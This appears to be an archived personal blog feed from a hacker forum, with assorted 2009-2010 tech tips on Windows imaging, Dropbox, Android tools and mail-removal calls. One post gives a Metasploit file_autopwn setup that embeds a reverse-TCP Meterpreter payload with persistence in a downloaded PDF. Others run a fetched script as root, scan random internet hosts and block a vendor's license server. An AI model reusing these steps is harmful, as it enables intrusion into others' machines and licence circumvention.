Operat0r's Posts - House of Hackers

Tutorial WIM image files wimfltr.sys Windows Image File Filter Driver command line install

2010-07-14T14:00:00.000Z

Tutorial WIM image files wimfltr.sys Windows Image File Filter Driver command line install

I have an H drive ( using junction to link C:\users\internet\Documents\my dropbox to h:\ ) I wanted to easly update files that triggerd AV so I zipped them up. I update the zip often and was testing for other options and this is what I tried.

* h:\junction.exe -s "C:\users\internet\Documents\my dropbox" h: this is howto change location of dropbox sync :)

* google for the drivers ImageX_x86

* install the driver
rundll32 syssetup,SetupInfObjectInstallAction DefaultInstall 128 .\ImageX_x86\wimfltr.inf

* create an image of a DRIVE ( cannot be mapped drive OR junction 'ln for windows' )
.\ImageX_x86\imagex.exe /capture d:\ c:\twf.wim "WIM Compress" /compress maximum

* umount image
.\ImageX_x86\imagex.exe /unmount /commit c:\cygwin

* mount image
.\ImageX_x86\imagex.exe /mountrw .\cygwin.wim 1 c:\mount

* even with 'maximum' compresstion images are larger then the source files in most cases... ???
* 80meg zip of Cygwin ~300 unzipped becomes 600 WIM file ???
* requires admin rights to install drivers but still beats zipping and unzipping items that trigger AV
reference: http://technet.microsoft.com/en-us/library/cc749447%28WS.10%29.aspx

command line cheat sheet commandlinefu.com ripp / custom fu

2010-07-01T13:00:00.000Z

http://rmccurdy.com/scripts/fu.txt
commandlinefu.com ripp / custom fu

huge list of *nix and windows

low on disk space android G1

2010-06-12T16:30:00.000Z

find / -name traces.txt -exec rm -Rf {} \;

something kept crashing while I was AFK and caused this traces file to get huGe

imusic android 'stream' ripper

2010-05-27T13:54:10.000Z

http://www.greencode.me/imusic
apk: http://tinyurl.com/imusic1

McAfee 5958 Recovery Tool

2010-05-04T18:48:48.000Z

https://kc.mcafee.com/corporate/index?page=content&id=KB68815

dropbox portable any path without "my dropbox" in M$ ... DropboxDataWrapper DropboxPath FAILSAUSE

2010-04-29T20:10:53.000Z

Requirements:

* Administrator ( possibly for dropbox advanced options )
* NTFS on the host computer !
* BACKUP BEFORE YOU DO ANYTHING !!!

Setup:

* Download DROPBOX
Recommended using the potable dropbox ICE because it has (UsbGuard (0.5.3) - Prevents Data Loss by killing DropBox.exe if you accidentally unplug your usb drive (included)
DropBox Portable ICE 0.5.3 -SuPPoRT aLL DRoPBoX VeRSioNs | Updated : 11-04-2010

http://dl.dropbox.com/u/5313411/Portable%20DropBox%20ICE%200.5.3.3%20%2B%20DropBox%200.8.32.rar

* Download Junction v1.05 from sysinternals “symbolic links, where a directory serves as a symbolic link to another directory on the computer.”
* Start dropbox
* Get the link to your dropbox folder path
* Create the sym link to whatever path you like example
rd /q/s "C:\Documents and Settings\internet\My Documents\My Dropbox"
Junction.exe "C:\Documents and Settings\internet\My Documents\My Dropbox" h:\

To delete a sym link use this command:
Junction.exe -d "C:\Documents and Settings\internet\My Documents\My Dropbox"

NOTES: there is a time tradeoff the dropbox.cache folder get queried a LOT and other I/O is sent to the target I would say for 16K files ~2gigs it took ~20-30min where as if it was just a read from the flash disk it would be under 10min

Mov_AMP_0.6.rar Mov'AMP v0.6 Portable PHP Local Server portable AMP portable apache php mysql phpmyadmin

2010-04-14T16:13:00.000Z

* yes flame on..
* its old
* only 10megs
* run the apache.exe for debug not the gui ..
http://www.rmccurdy.com/scripts/downloaded/ movamp.zip

just find replace the path with your usb path in the httpd.conf and wala !

I think you could also use some %CD% > httpd.conf / sed/ awk and make it more portable if path changes etc ..

Millennium Falcon + Car = Fun

2010-03-31T02:33:38.000Z

http://www.flickr.com/photos/freeload101/4477410443

T-mobile heartbeat .. sortof ... twitter search > tmobile > atlanta > nagios plugin ... LAME

2010-03-29T16:30:00.000Z

cat ../../libexec/check_tmobile

#!/bin/bash
export vartmobile1=`date '+%Y-%m-%d'`
export vartmobile2=`links -dump "http://search.twitter.com/search.atom?q=t-mobile+outage+atlanta+since%3A$vartmobile1"|wc -l`
export varflag="0"

if [[ "$vartmobile2" -gt "3" ]]
then

echo "T-mobile outage ? http://search.twitter.com/search.atom?q=t-mobile+outage+atlanta+since%3A$vartmobile1"
exit 2
else
echo No tweets on mobile outage atlanta today
fi

Zelda Twilight Princess 100% Complete download ripping

2010-03-28T17:25:02.000Z

http://www.youtube.com/view_play_list?p=21843B4E6D0B9821
http://rmccurdy.com/scripts/downloaded/.apps/Replay%20Media%20Catcher%20v3.11.zip

close all windows:
start > run >
notepad c:\windows\system32\drivers\etc\hosts

add 127.0.0.1 applian.securesites.com

save and use firefox with Replay%20Media%20Catcher to download all the tutorials

outerz0ne.org talks !

2010-03-25T17:25:49.000Z

http://www.archive.org/details/Outerz0ne2010Videos

HP support call EPIC fail !

2010-03-24T12:30:00.000Z

http://www.rmccurdy.com/public_images/hp_is_teh_sux.mp3

'

MSA is shwing a hard drive in leftover state

-------------------------

Resolution:
Action Plan

1- Update the controller firmware version up to J210P22:

Elguer Solano G.
Storage Support Engineer
SWD
Hewlett-Packard Company

'
solanoel@hp.com<mailto:solanoel@hp.com>

rmccurdy.com mashup of security feeds HUGE

2010-03-23T20:21:27.000Z

did some more work with the feeds.

http://pipes.yahoo.com/pipes/pipe.run?_id=5f1dcd4397142867d586ae88e192f796&_render=rss

src: http://pipes.yahoo.com/rmccurdydotcom/security

multisnipe multi-snipe JBidwatcher

2010-03-16T15:02:57.000Z

http://www.jbidwatcher.com/help/multisniping

Metasploit auxilary module FILE_AUTOPWN

2010-03-03T17:00:00.000Z

Metasploit auxilary file_autopwn module - Video Tutorial
http://www.backtrack-linux.org/forums/backtrack-videos/1843-metasploit-auxilary-file_autopwn-module-video-tutorial.html

rm -Rf /tmp/1
mkdir /tmp/1
rm -Rf ~/.msf3

wget -O /tmp/file3.pdf https://www1.nga.mil/Newsroom/PressReleases/Press%20Releases/nga10_02.pdf

./msfconsole

db_driver sqlite3
db_create pentest11
# setting the LHOST to non IP can cause issues
setg LHOST 75.139.158.51
setg LPORT 21
# I just need the files I dont care if the http server ever runs ..
setg SRVPORT 21
# defualt is 3333
setg LPORT_WIN32 21

setg INFILENAME /tmp/file3.pdf

use auxiliary/server/file_autopwn

set OUTPATH /tmp/1

set URIPATH /msf
set SSL true
set ExitOnSession false
set PAYLOAD windows/meterpreter/reverse_tcp
setg PAYLOAD windows/meterpreter/reverse_tcp
set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30

run

To set up Yahoo mail E-Mail in Android

2010-03-01T14:31:40.000Z

log-in to your yahoo mail
go to Options, then Account, followed by “Add or edit an account”
select “Account Information” on the left
on the " Preferred Content," change it to Yahoo Asia

Make sure Wi-Fi is turned off
Press the E-Mail icon (the default Android E-Mail application)
Enter your Yahoo E-Mail address and password
Press “Manual Setup” in the lower left hand corner
For “Incoming Server Settings” set the IMAP server to “imap.mail.yahoo.com” and the Port to 143
For “Outgoing Server Settings” set the SMTP Server to “smtp.mobile.mail.yahoo.com” and the Port to 587
Check “Require sign-in” and press Next
Select how often your phone will check for Email, and choose default options
Give the account a name and set your display name for outgoing messages

[Guide] baksmali guide howto example

2010-02-18T19:49:14.000Z

02/18/2010 - quickbaksmali.zip

* requires java ! in %PATH% !
* just place the java_ee_sdk-5 folder to make it portable !
* put the APKS files in the folder APKS
* you (can) edit the job2.bat with your keytool/key info etc ..

* run the baksmali.bat
* make your changes etc
* run the smali.bat

NMAP FOR ANDROID CROSS COMPILE ARM

2010-02-18T19:00:00.000Z

NMAP FOR ANDROID CROSS COMPILE ARM

# from android root prompt
wget http://rmccurdy.com/nmap.sh
sh nmap.sh
cd /data/local/bin
nmap -v -iR 50 -PN -p 80 -n -A

This MAY work for other platforms but tested on cygonmod as of 2/18/2010 on
Android G1 plan to APK package this up with other security tools
ruby/metasploit etc ..

• SYN scans may not REALLY be working … along with other ‘features’ of nmap ..
• Copy eveything in http://rmccurdy.com/stuff/G1/BINS/NMAP/ to
/data/local/bin on the Android and cd /data/local/bin

• You may need to ‘mount -o remount / /` and put sh or bash ( the busybox bash ) in /bin/sh
• Or alternative export SHELL=/system/bin/sh may work ..
• http://delicious.com/operat0r/android reference
• Some tips for cross compiling:
- Start with simple! bash or ‘hello world’
- Make sure the file is ARM / STATIC
nmap: ELF 32-bit LSB executable, ARM, version 1 (SYSV), for GNU/Linux 2.6.14, statically linked, not stripped
- If you get ‘not found’ it may be the /bin/sh issue or missing libs
- You can use strace and gdb from my site or http://ortegaalfredo.googlepages.com/android
-
For nmap and others I had to pre compile the libs and or hack up the
configure and/or make file so if something fails try to compile each
lib in the folder take it folder by folder

EXAMPLE OUTPUT:
uname -a
Linux localhost 2.6.29.6-cm42 #11 PREEMPT Sun Jan 3 23:10:50 EST 2010 armv6l GNU
/Linux
#

Starting Nmap 4.01 ( http://www.insecure.org/nmap/ ) at 2010-02-18 19:04 UTC
Warning: OS detection will be MUCH less reliable because we did not find at lea
st 1 open and 1 closed TCP port
Interesting ports on diecastaircraftshop.com (63.249.18.249):
PORT STATE SERVICE VERSION
21/tcp open tcpwrapped
25/tcp open smtp?
80/tcp open http Microsoft IIS webserver 7.0
443/tcp open https?
Device type: general purpose
Running (JUST GUESSING) : FreeBSD 5.X (85%)
Aggressive OS guesses: FreeBSD 5.3-STABLE (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime 43.977 days (since Tue Jan 5 19:39:44 2010)
Service Info: OS: Windows

Nmap finished: 1 IP address (1 host up) scanned in 141.397 seconds
#

MINI HOWTO:

# you need sun-java5-jdk
echo 'deb http://us.archive.ubuntu.com/ubuntu/ jaunty multiverse' >> /etc/apt/sources.list
echo 'deb http://us.archive.ubuntu.com/ubuntu/ jaunty-updates multiverse ' >> /etc/apt/sources.list

apt-get update
apt-get install build-essential -y
apt-get install m4 -y
aptitude install git-core git jfsutils xfsprogs quota isdnutils-base nfs-common oprofile -y

apt-get install sun-java5-jdk -y

# toolchain for cross compile
wget "http://www.codesourcery.com/sgpp/lite/arm/portal/package3696/public/arm-none-linux-gnueabi/arm-2008q3-72-arm-none-linux-gnueabi-i686-pc-linux-gnu.tar.bz2"

http://zenmachine.wordpress.com/cross-compiling-ruby-to-arm-processors-the-not-so-zen-way/
http://android-dev.g.hatena.ne.jp/takuma104/

# download nmap-4.01.tar.gz
# precompile dftables cd ./libpcre/ ; ./configure ; make;cp dftables /usr/local/sbin/
# make clean and cp /usr/local/sbin/dftables ./libpcre/
# precompile libpcap I got libpcap-0.7.1 to compile OK for AM '
--with-libpcap=/home/operat0r/libpcap-0.7.1/ ' change to your path
# before you make vi the Main Make file to STATIC = -static
# my last line after make looked like:

arm-none-linux-gnueabi-g++ -Llibpcap -Lnbase -Lnsock/src/ -static -o nmap main.o
nmap.o targets.o tcpip.o nmap_error.o utils.o idle_scan.o osscan.o
output.o scan_engine.o timing.o charpool.o services.o protocols.o
nmap_rpc.o portlist.o NmapOps.o TargetGroup.o Target.o
FingerPrintResults.o service_scan.o NmapOutputTable.o MACLookup.o tty.o
nmap_dns.o -lnbase -lnsock libpcre/libpcre.a -lpcap

libdnet-stripped/src/.libs/libdnet.a -lm

export ac_cv_linux_vers=2.6.31
export CC=/usr/local/arm-2008q3/bin/arm-none-linux-gnueabi-gcc -static
export LD=/usr/local/arm-2008q3/bin/arm-none-linux-gnueabi-ld
export AR=/usr/local/arm-2008q3/bin/arm-none-linux-gnueabi-ar
export RANLIB=/usr/local/arm-2008q3/arm-none-linux-gnueabi/bin/ranlib
export PATH=$PATH:/usr/local/arm-2008q3/bin
export PATH=$PATH:/usr/local/arm-2008q3/
export PATH=$PATH:/usr/local/arm-2008q3/lib
export ac_cv_func_getpgrp_void=yes
export ac_cv_func_setpgrp_void=yes

./configure --host=arm-none-linux-gnueabi --target=arm-none-linux-gnueabi
--with-libpcap=/home/operat0r/libpcap-0.7.1/ --without-nmapfe
--with-pcap=linux

sabnzbd cleanup script

2010-02-04T03:05:26.000Z

find /home/mythtv/downloads/complete/Movies -type f -size -100000 -exec rm {} \;
find /home/mythtv/downloads/complete/TV -type f -size -100000 -exec rm {} \;

best software WORST SUPPORT EVER !

2010-02-02T18:08:19.000Z

* I have used active scan for ever when it was in beta and did not work for Firefox it was the best
* I LOVE the software small download compare to KAV online scanner!!!
* your support is the WORST I have ever experienced in my 20 years as Network/ Security consultant ...

Original issue was auto renew failed so I paid again and registered under freeload101@yahoo.com ... well that broke something it said I have 2.0 when you log in but just spammed (buy now) all the time...

so after trying to change the email etc and logging in and out clearing cache and running from different computers I opened up a ticket only to be told to call tech support ( this was on a Saturday I received the email ... ) so I replied "
[code]
Flag this message
Re: Panda Security #PS# - Case number: 02633450 [ ref:00D27CUo.50028Rrir:ref ]
Sunday, January 24, 2010 2:31 AM
From:
"robert mccurdy"
View contact details
To:
"Tech Support"
first off that's not really an answer ... but guess I don't have a choice ...

second I got the email at 'Sunday, January 24, 2010 1:59 AM' so how am I pose to call a support desk that's not even open on Sunday ...

[/code]

I called only to find that no 24-7 phone support.. ok that’s fine its 20$ .. ( I would be furious if I paid for the full crap bloat ware that is the desktop etc download I don't believe in AV anyway so ..'more info here rmccurdy.com/email.html' ) I call and get spammed with all this windows 2007 fix garbage before I even get put in the support que... ( im running XP try to ask the person before you make them listen to your 10min spheal about windows 2007 .. or at least let me press '0' to skip ... ) anyway finally a pickup I get the normal support I have to login clear cookie etc I get put on hold etc and he comes back we talked a bit I hung up on him by mistake ... so I called back ( on hold for over ~20min ) to pickup and say ( hey we call you back ) I think OK fine whatever I give them my number nobody ever calls back ...

Later that night I reply to the ticket that I never got a phone call next day I all back and complain I never got a call back they say (the ticket has been escalated) I told them from the beginning I don't care what you do just get me a working account out of the TWO that I have ... ( one was new other was old an unpaid )

I once again reply to the ticket:
[code]

IM FURIOUS ! PLEASE CALL ME IMMEDIATELY ! !!!!!! YOU DID NOT CALL ME BACK !!!!!

THIS IS THE 3RD TIME i HAVE CALLED !!!
xxx.xxx.xxxx"
[/code]
2/2/2010:

I call and get the " we are not open" so I wait a few hrs and again on hold for ~10min to only be answered by a "what is your number we are all busy "

in the past I have suggested people use panda active-scan and even if forbidden by me they want a desktop AV I also suggested Panda. From now on I will never use a Panda or Panda software affiliate application or service!

bottom line is I gave you guys like 5 chances to do it right or...... @#$^ do anything for that matter ... I’m done with panda and the worst support in my life it’s been a good run for you the past 5 or so years but I’m done ... I refuse to pay AGAIN under a different account / email just to get the software working again...

If you have any questions about this post please call and leave me a message with contact info etc:

=================
Robert McCurdy
Network / Systems Consultant
http://rmccurdy.com
404.647.4250
=================

Yahoo newzbin rottentomatoes rotten tomatoes nzb ratings SABnsb magic filter thingy

2010-01-27T19:53:46.000Z

http://pipes.yahoo.com/pipes/pipe.run?_id=f005ab1acd635c747d2cbfa4b0adf3ea&_render=rss

if you use sabnzbd just plug in this url and you will get rottentomatoes.com > 60% nzbs that are not screeners and ~800m-4gig

here is my TV torrent filters:
http://rmccurdy.com/public_images/sabnzbd_filters.jpg
* will add regex for things like ^house later ... but you get the point

let me know if you 'fix' the output of the yahoopipe because it says something like "Yahoo::RSS::Item=HASH(0x38cdc84)" for everything I broke the output but it works right some how

just fitness

2010-01-18T20:34:35.000Z

Just Fitness 4U
www.justfitness4u.com

6335 Roswell Rd
Sandy Springs, GA 30328
(404) 303-0496

* number on parcel 6784667107,
* guy had no idea and asked if I was a member he gave me a national fitness number 800 658 7727
* on hole for 5min gave up

Sovereign Pest Control www.southernpestcontrol.com 5825 Glenridge Drive Northeast Atlanta, GA 30328-5399 (404) 633-3139

2010-01-18T20:24:30.000Z

Sovereign Pest Control
www.southernpestcontrol.com

5825 Glenridge Drive Northeast
Atlanta, GA 30328-5399
(404) 633-3139

* 404 633 3140

* Very nice Male looked up my name in database and removed it.

Chase ( fake check spam )

2010-01-18T20:18:51.000Z

* No phone number on parcel
* 1-800-432-3117,,,(wait for ever) ,,, ( press 0 ),,, ( Indian answered the phone )

Clear WIMAX provider

2010-01-18T20:05:35.000Z

* 1 888 210 4459
easy removal no long hold time

the leukemia lymphoma society Georgia Chapter

2010-01-18T20:01:10.000Z

* mailed me a nickle with address labels
* no phone number or contact on parcel
* 800 955 4572,,,1, on website site ( info site .. don think this is what I want )
* THE GEORGIA CHAPTER

3715 Northside Parkway
400 Northcreek, Suite 300
Atlanta, GA 30327
404-720-7900
(800) 399-7312 (Toll Free)
404-720-7878 (Fax)

* (800) 399-7312,9 ( left message no apparent way to be removed from mailing list )

Tires Plus

2010-01-18T19:53:40.000Z

* 770 998 1234 ( did not know how to be removed redirected to corporate )
* 8000 269 4424, 0 ( redirected to Alex 727 298 5708 marking also did not know anything about removal )

nook rooting nook root

2009-12-14T17:30:51.000Z

https://www.bordergatewayprotocol.net/aricon/nookroot/Rooting.htm

nookdevs.com/Rooting.

nook, book, kindle, barnes and noble, fiction, nonfiction, ereader, amazon, electronic, wifi, 3g, att, android, google, hacks, hacking, linux, tips, tricks, developer, development, reverse engineering, reading, technology, future

not really impressed but maybe they sim data account is uncapped and you can pop it in a diff hard…

windows XP SP3 installed to USB usboot with NIC and WIFI driverpacks

2009-12-11T15:36:46.000Z

you can find the torrent online I will not post direct links here: search for usboot on top trackers

windows XP SP3 installed to USB usboot with NIC and WIFI driverpacks
*** THIS IS NOT BART,ERD OR UBCD4WIN ETC THIS IS A REAL FULL XP PRO SP3 INSTALLED AND BOOTING FROM USB DRIVE ***

This is working and tested USB boot image using partimage

* get a 4gig or higher usb drive
* download RMPrepUSB and format fat32 with boot
* make sure you can boot from the USB device
* extract the zip using 7-zip.org etc
* use partimage to dump the ~2 gig image to the usb drive etc
* http://www.sysresccd.org/Screenshots for partimage if you do not have it also on Backtrack or any number of live linux distros

this is how I did it thank usboot.org
* the host mashine MUST have NFTS partiton on it for this to work it uses drive shadowning etc to clone the C:
* made sure the USB drive was bootable
* formated the USB drive FAT32 not on VMware but on the host mashine
* did base install of my windows XP with driverpacks on a VM
* extract the NIC and WIFI drivers from driverpacks.net
* ran phase 1-3 ok on the VM

* you can even put this on cell phone and boot windows from minisd etc .. :)
* the image can be pushed and booted in under 4min on a USB or HDD for a quick hack

igf

portable file extension and file assocrain manager

2009-12-09T13:48:23.000Z

http://rmccurdy.com/scripts/file_associations.bat.txt

this is really bad script do not run it .. I dont "GET" windows associations.. then again I don't care .. something about subkeys on xls files etc ... but who cares it works

* each user can have there own associations to a file extension ( I think only if there are no subkeys or its not already defined ??? )
* xls has sub classes etc so I had to wipe the whole tree out :)

any tools comments etc ... I also tried PIM.exe " portable " but stupid as you need to drag the file onto the program or have root to ass right click extension